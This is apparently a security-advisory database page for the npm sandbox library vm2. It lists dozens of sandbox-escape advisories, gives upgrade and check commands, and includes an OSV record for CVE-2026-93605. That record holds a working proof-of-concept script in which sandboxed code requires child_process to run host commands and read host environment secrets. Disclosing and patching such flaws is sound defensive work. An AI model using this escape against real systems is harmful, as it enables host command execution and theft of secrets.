Vulnerabilities in pkg:npm/vm2
PACKAGECVE-2026-93605 is a CRITICAL (CVSS 10.0) vm2 contains a sandbox escape vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 contains a sandbox escape vulnerability. Remediation is available by upgrading affected packages to version 3.12.1.
pkg:npm/vm2
Vulnerability advisories affecting package pkg:npm/vm2. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-pq68-rvw4-xp4r | CVE-2026-93605 | CRITICAL | vm2 contains a sandbox escape vulnerability |
| GHSA-9hxx-m5g2-2q3h | - | CRITICAL | Duplicate Advisory: vm2 contains a sandbox escape vulnerability |
| GHSA-5h3f-q97h-ccvc | CVE-2026-100721 | CRITICAL | vm2: NodeVM custom resolution bypasses external path boundaries |
| GHSA-c9wr-qm7p-p6vc | - | CRITICAL | Duplicate Advisory: vm2: NodeVM custom resolution bypasses external path boundaries |
| GHSA-2v2p-6j97-cjg9 | CVE-2026-100722 | HIGH | vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process |
| GHSA-7rr2-8fr3-fjqx | - | HIGH | Duplicate Advisory: vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process |
| GHSA-489w-w794-jq94 | CVE-2026-100723 | MODERATE | vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary |
| GHSA-43rv-jrfh-9mrr | - | MODERATE | Duplicate Advisory: vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary |
| GHSA-f8gf-w286-fmq2 | CVE-2026-92959 | HIGH | vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM |
| GHSA-9538-79j2-h62h | - | HIGH | Duplicate Advisory: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM |
| GHSA-88hf-g992-jg85 | CVE-2026-92955 | CRITICAL | vm2: Sandbox Escape (NodeVM) |
| GHSA-gg6f-mhqm-f7gp | - | CRITICAL | Duplicate Advisory: Sandbox Escape (NodeVM) |
| GHSA-gjq8-xm47-88rc | CVE-2026-92954 | CRITICAL | vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process |
| GHSA-mgj2-jqjq-q8gg | - | CRITICAL | Duplicate Advisory: vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process |
| GHSA-3vgf-8m4q-q4qr | CVE-2026-92953 | CRITICAL | vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix |
| GHSA-5v7w-95g5-pj6q | - | CRITICAL | Duplicate Advisory: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix |
| GHSA-x965-fc75-jpqh | CVE-2026-92934 | CRITICAL | vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit |
| GHSA-4xmw-hh9q-4q7c | - | CRITICAL | Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit |
| GHSA-r273-hxvj-fxhp | CVE-2026-92933 | MODERATE | vm2: util.getCallSites() bypasses GHSA-v27g-jcqj-v8rw host-frame redaction, leaks host call stack |
| GHSA-2vh9-cv26-p97m | - | MODERATE | Duplicate Advisory: vm2: util.getCallSites() bypasses GHSA-v27g host-frame redaction, leaks host call stack |
| GHSA-x6m4-chr9-cg97 | CVE-2026-92936 | MODERATE | vm2 leaks absolute host filesystem paths to sandbox code via error stack formatting |
| GHSA-63m2-qqch-jxv2 | - | MODERATE | Duplicate Advisory: vm2 leaks absolute host filesystem paths to sandbox code via error stack formatting |
| GHSA-r4fx-v8hh-22mv | CVE-2026-92942 | HIGH | vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block) |
| GHSA-vjcv-9j33-wj62 | - | HIGH | Duplicate Advisory: vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block) |
| GHSA-j3hm-6rg5-mchv | CVE-2026-92946 | CRITICAL | vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE |
| GHSA-29x6-9qh5-83gg | - | CRITICAL | Duplicate Advisory: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE |
| GHSA-fcqc-726x-5wfc | CVE-2026-92947 | CRITICAL | vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool |
| GHSA-x5qg-8pq6-39h6 | - | CRITICAL | Duplicate Advisory: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool |
| GHSA-wjwh-qqvp-g4p4 | CVE-2026-92956 | CRITICAL | vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass |
| GHSA-538q-xxpg-6h4r | - | CRITICAL | Duplicate Advisory: vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass |
| GHSA-jf8q-945g-9q4c | CVE-2026-92952 | MODERATE | vm2: Incomplete nodejs.* symbol filtering lets sandbox override host WebStream state checks |
| GHSA-hmpr-c9rf-qcrf | - | HIGH | Duplicate Advisory: Incomplete nodejs.* symbol filtering lets sandbox override host WebStream state checks |
| GHSA-qhwx-74w5-xhxq | CVE-2026-92948 | CRITICAL | vm2: NodeVM builtin allowlist bypass via node:test.run() execArgv allows sandbox escape |
| GHSA-wqg3-r97q-73xm | - | CRITICAL | Duplicate Advisory: NodeVM builtin allowlist bypass via node:test.run() execArgv allows sandbox escape |
| GHSA-jxxv-8r27-vm4p | CVE-2026-92950 | HIGH | vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts |
| GHSA-hc6q-4vvg-jf79 | - | CRITICAL | Duplicate Advisory: vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts |
| GHSA-h85j-hv3c-qfgq | CVE-2026-92940 | CRITICAL | vm2 exposes host HTTPS credentials and TLS traffic through globalAgent |
| GHSA-5843-9mh5-hhgw | - | CRITICAL | Duplicate Advisory: vm2 exposes host HTTPS credentials and TLS traffic through globalAgent |
| GHSA-c48m-32m9-vx93 | CVE-2026-92951 | CRITICAL | vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package |
| GHSA-6fvh-fgmg-3x7v | - | CRITICAL | Duplicate Advisory: vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package |
| GHSA-6rh5-qq4q-97xh | CVE-2026-92958 | HIGH | vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes |
| GHSA-7c3p-84r8-h79q | - | HIGH | Duplicate Advisory: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes |
| GHSA-8686-vhfx-7r3j | CVE-2026-92957 | CRITICAL | vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process |
| GHSA-28q4-xrqh-9479 | - | CRITICAL | Duplicate Advisory: vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process |
| GHSA-633r-hq9m-c4ff | CVE-2026-92949 | MODERATE | vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor |
| GHSA-9f3g-34x8-92jc | - | MODERATE | Duplicate Advisory: vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor |
| GHSA-8hr7-r645-pc6w | CVE-2026-92935 | CRITICAL | vm2: NodeVM nesting guard accepts array-shaped require and permits host RCE |
| GHSA-9fxx-mv6c-j5xp | - | CRITICAL | Duplicate Advisory: NodeVM nesting guard accepts array-shaped require and permits host RCE |
| GHSA-647f-g98j-qq25 | CVE-2026-92937 | CRITICAL | vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection |
| GHSA-3f84-vwv5-r42g | - | CRITICAL | Duplicate Advisory: vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection |
| GHSA-6w8r-xxw2-g3hx | CVE-2026-92938 | CRITICAL | vm2 allows a sandboxed plugin to execute native code through `node:sqlite` |
| GHSA-m7cq-7f2q-f9fh | - | CRITICAL | Duplicate Advisory: vm2 3.11.6 allows a sandboxed plugin to execute native code through `node:sqlite` |
| GHSA-46pr-c5wc-xffx | CVE-2026-92939 | CRITICAL | vm2 crypto builtin loads attacker native code through setEngine |
| GHSA-6jgm-4w45-vh8j | - | CRITICAL | Duplicate Advisory: vm2 crypto builtin loads attacker native code through setEngine |
| GHSA-27g9-p43v-cw3v | CVE-2026-92944 | CRITICAL | vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector |
| GHSA-hwr5-cm8v-c76q | - | CRITICAL | Duplicate Advisory: vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector |
| GHSA-98xx-8mx4-x7cm | CVE-2026-92941 | CRITICAL | vm2 NodeVM can replace the host process TLS trust store |
| GHSA-xq74-c7jx-8w5j | - | CRITICAL | Duplicate Advisory: vm2 NodeVM can replace the host process TLS trust store |
| GHSA-7q3f-wx44-378m | CVE-2026-92945 | MODERATE | vm2: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted |
| GHSA-8mvv-mcc3-xwhh | - | LOW | Duplicate Advisory: External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted |
| GHSA-v836-6xw4-9cx3 | - | HIGH | vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass |
| GHSA-m5w8-4gq2-6f8x | - | CRITICAL | vm2: NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f) |
| GHSA-cfcw-xp6x-25gj | CVE-2026-47698 | CRITICAL | vm2: Sandbox Breakout Using Dangerous Host Proto Mutators |
| GHSA-m283-3h24-438v | CVE-2026-47686 | CRITICAL | VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE |
| GHSA-gmc2-2x9w-cgh9 | CVE-2026-47683 | HIGH | vm2's bufferAllocLimit cap bypassed by Buffer.concat and Buffer.from arrayLike |
| GHSA-rp36-8xq3-r6c4 | CVE-2026-47140 | CRITICAL | NodeVM builtin denylist bypass via process and inspector/promises allows host code execution |
| GHSA-6j2x-vhqr-qr7q | CVE-2026-47210 | CRITICAL | vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass |
| GHSA-m4wx-m65x-ghrr | CVE-2026-47137 | CRITICAL | vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE |
| GHSA-76w7-j9cq-rx2j | CVE-2026-47208 | CRITICAL | vm2 is Vulnerable to Sandbox Breakout Through Promise Species |
| GHSA-v6mx-mf47-r5wg | CVE-2026-47131 | CRITICAL | vm2 has a Sandbox Escape issue |
| GHSA-9g8x-92q2-p28f | CVE-2026-47141 | MODERATE | NodeVM observability builtins leak host process and HTTP request data |
| GHSA-r9pm-gxmw-wv6p | CVE-2026-47139 | HIGH | NodeVM network builtin exclusions bypass via internal _http_client and _http_server |
| GHSA-c4cf-2hgv-2qv6 | CVE-2026-47209 | HIGH | vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain |
| GHSA-m5q2-4fm3-vfqp | CVE-2026-47135 | HIGH | vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks |
| GHSA-ffh4-j6h5-pg66 | CVE-2026-26956 | CRITICAL | VM2 Has a WASM Sandbox Escape |
| GHSA-q3fm-4wcw-g57x | - | LOW | vm2 setup-sandbox.js violates Defense Invariant #11 in stack-trace formatter |
| GHSA-248r-7h7q-cr24 | CVE-2026-45411 | CRITICAL | vm2 Has a Sandbox Breakout Using Async Generator |
| GHSA-9vg3-4rfj-wgcm | CVE-2026-44009 | CRITICAL | vm2 has Sandbox Breakout Through Null Proto Exception |
| GHSA-9qj6-qjgg-37qq | CVE-2026-44008 | CRITICAL | vm2 has sandbox breakout via `neutralizeArraySpeciesBatch` |
| GHSA-8hg8-63c5-gwmx | CVE-2026-44007 | CRITICAL | vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution |
| GHSA-cp6g-6699-wx9c | CVE-2026-43998 | HIGH | vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape |
| GHSA-wp5r-2gw5-m7q7 | CVE-2026-44003 | MODERATE | vm2's Transformer Fast-Path Bypass Exposes Internal State Variable |
| GHSA-v27g-jcqj-v8rw | CVE-2026-44002 | MODERATE | vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak |
| GHSA-mpf8-4hx2-7cjg | CVE-2026-44000 | MODERATE | vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary |
| GHSA-6785-pvv7-mvg7 | CVE-2026-44004 | HIGH | vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion |
| GHSA-hw58-p9xv-2mjh | CVE-2026-44001 | HIGH | vm2 has a Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS) |
| GHSA-947f-4v7f-x2v8 | CVE-2026-43999 | CRITICAL | vm2 has a NodeVM builtin allowlist bypass via `module` builtin's `Module._load` that allows sandbox escape |
| GHSA-vwrp-x96c-mhwq | CVE-2026-44005 | CRITICAL | vm2: Mutable Proxies for Host Intrinsic Prototypes Allows Sandbox Escape |
| GHSA-47x8-96vw-5wg6 | CVE-2026-43997 | CRITICAL | vm2 Access to Host Object Enables Sandbox Escape |
| GHSA-qcp4-v2jj-fjx8 | CVE-2026-44006 | CRITICAL | vm2 has a Sandbox Escape Vulnerability |
| GHSA-2cm2-m3w5-gp2f | - | MODERATE | vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` |
| GHSA-grj5-jjm8-h35p | CVE-2026-24118 | CRITICAL | VM2 Sandbox Breakout Through __lookupGetter__ |
| GHSA-55hx-c926-fr95 | CVE-2026-26332 | CRITICAL | VM2 Has a Sandbox Escape Issue via SuppressedError |
| GHSA-v37h-5mfm-c47c | CVE-2026-24781 | CRITICAL | VM2 Has Sandbox Breakout Through Inspect Function |
| GHSA-qvjj-29qf-hp7p | CVE-2026-24120 | CRITICAL | VM2 Has Sandbox Breakout Through Promise Species |
| GHSA-99p7-6v5w-7xg8 | CVE-2026-22709 | CRITICAL | vm2 has a Sandbox Escape |
| GHSA-cchq-frgv-rjh5 | CVE-2023-37466 | CRITICAL | vm2 Sandbox Escape vulnerability |
| GHSA-g644-9gfx-q4q4 | CVE-2023-37903 | CRITICAL | vm2 Sandbox Escape vulnerability |
| GHSA-p5gc-c584-jj6v | CVE-2023-32313 | MODERATE | vm2 vulnerable to Inspect Manipulation |
| GHSA-whpj-8f3w-67p5 | CVE-2023-32314 | CRITICAL | vm2 Sandbox Escape vulnerability |
| GHSA-ch3r-j5x3-6q2m | CVE-2023-30547 | CRITICAL | vm2 Sandbox Escape vulnerability |
| GHSA-xj72-wvfv-8985 | CVE-2023-29199 | CRITICAL | vm2 Sandbox Escape vulnerability |
| GHSA-7jxr-cg7f-gpgv | CVE-2023-29017 | CRITICAL | vm2 vulnerable to sandbox escape |
| GHSA-4w2j-2rg4-5mjw | CVE-2022-25893 | CRITICAL | vm2 vulnerable to Arbitrary Code Execution |
| GHSA-mrgp-mrhc-5jrq | CVE-2022-36067 | CRITICAL | vm2 vulnerable to Sandbox Escape resulting in Remote Code Execution on host |
| GHSA-wf5x-cr3r-xr77 | CVE-2019-10761 | HIGH | vm2 before 3.6.11 vulnerable to sandbox escape |
| GHSA-6pw2-5hjv-9pf7 | CVE-2021-23555 | CRITICAL | Sandbox bypass in vm2 |
| GHSA-rjf2-j2r6-q8gr | CVE-2021-23449 | CRITICAL | Prototype Pollution in vm2 |
CVE-2026-93605 at a Glance
Security Impact
CVSS: 10.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-93605
To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vm2@3.12.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls vm2
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-93605, inspect your project dependencies using npm:
npm ls vm2
Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.12.1), your application is affected.
Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-93605 Affected Vm2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vm2
|
npm |
< 3.12.1
|
3.12.1
|
References
Frequently Asked Questions
What is CVE-2026-93605?
Which Vm2 versions are affected?
What version fixes CVE-2026-93605?
Is vm2 affected?
What is the CVSS score of CVE-2026-93605?
What CWE is associated with CVE-2026-93605?
How can I check npm dependencies for CVE-2026-93605?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pq68-rvw4-xp4r",
"modified" : "2026-10-07T18:05:00Z",
"published" : "2026-10-07T18:05:00Z",
"aliases" : [ "CVE-2026-93605" ],
"summary" : "vm2 contains a sandbox escape vulnerability",
"details" : "vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.\n\nThis fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host‑code‑reaching core modules **even when the sandbox requests `builtin:['*']` or names them explicitly** — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** — the single most direct command‑execution primitive. As a result, a sandbox running under `require:{builtin:['*']}` (or the fork's own documented `['*','-http','-net',…]` subtract pattern) can `require('child_process').execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale \"`cluster.fork()` spawns a host child process running attacker‑controlled code,\" yet `child_process` — which spawns host processes more directly — is not.\n\n### Details\n`lib/builtin.js`:\n- `DANGEROUS_BUILTINS` (lines **83‑179**) — the Set of denied builtins. `child_process` does not appear anywhere in it.\n- `isDangerousBuiltin(key)` (lines **185‑195**) — strips `node:` prefixes and applies family‑prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`.\n- `BUILTIN_MODULES` (lines **209‑210**) — the source list that the `'*'` wildcard expands to — is `builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s))`. Because `isDangerousBuiltin('child_process')` is `false`, `child_process` **remains in `'*'`**.\n- `addDefaultBuiltin` (the explicit‑name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:['child_process']` is admitted as well.\n\nThe module returned is the **real host `child_process`** (default `require.context` is `\"host\"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist's own comment (lines 42‑44) states these primitives \"must NEVER be reachable from the sandbox, even when the user requests `'*'` or explicitly names them\" — the invariant `child_process` violates.\n\n### PoC\n```js\nconst { NodeVM } = require('vm2');\n\nconst r = new NodeVM({ require: { builtin: ['*'] } }).run(`\n module.exports = require('child_process').execSync('id').toString();\n`, 'plugin.js');\n\nconsole.log(r); // -> \"uid=1000(user) gid=1000(user) groups=...\" host command execution\n```\nVerified results:\n| config | `require('child_process')` |\n|---|---|\n| `{ builtin: ['*'] }` | **RCE** — host `id` + host env read |\n| `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it |\n| `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the \"never, even if named\" invariant |\n| `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` |\n\n\n### Impact\nFull host RCE — a complete `NodeVM` sandbox escape — for any deployment that runs untrusted code under `require:{builtin:['*']}` or the documented `['*', '-x', …]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require('child_process')`.\n\n\n### builtin-child_process-denylist-gap-rce.js\n```js\n'use strict';\n// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.\n// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins\n// even under `builtin:['*']` or explicit naming — module, worker_threads,\n// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT\n// child_process. So `require:{builtin:['*']}` (an allow-all config the fork\n// explicitly hardens) yields direct host RCE. Attacker controls only the\n// sandboxed script.\nconst path = require('path');\nconst { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));\n\nprocess.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}\n\nfunction tryConfig(label, opts) {\n try {\n const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {\n try {\n const cp = require('child_process');\n return {\n reached: true,\n id: cp.execSync('id').toString().trim(),\n hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()\n };\n } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }\n })()`, 'plugin.js');\n console.log(label, '=>', JSON.stringify(r));\n return r;\n } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }\n}\n\nconsole.log('--- child_process reachability by NodeVM require config ---');\nconst a = tryConfig(\"require:{builtin:['*']} \", { require: { builtin: ['*'] } });\nconst b = tryConfig(\"require:{builtin:['*','-fs']} \", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern\nconst c = tryConfig(\"require:{builtin:['fs']} (ctl) \", { require: { builtin: ['fs'] } }); // control: not allowed -> denied\n\nconst ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'\n && b && b.reached\n && c && c.reached === false;\nconsole.log(ok\n ? \"\\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed\"\n : \"\\n>>> NOT confirmed\");\nprocess.exit(ok ? 42 : 1);\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "vm2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.12.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.12.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-93605"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patriksimek/vm2"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693", "CWE-913" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-07T18:05:00Z",
"nvd_published_at" : null
}
}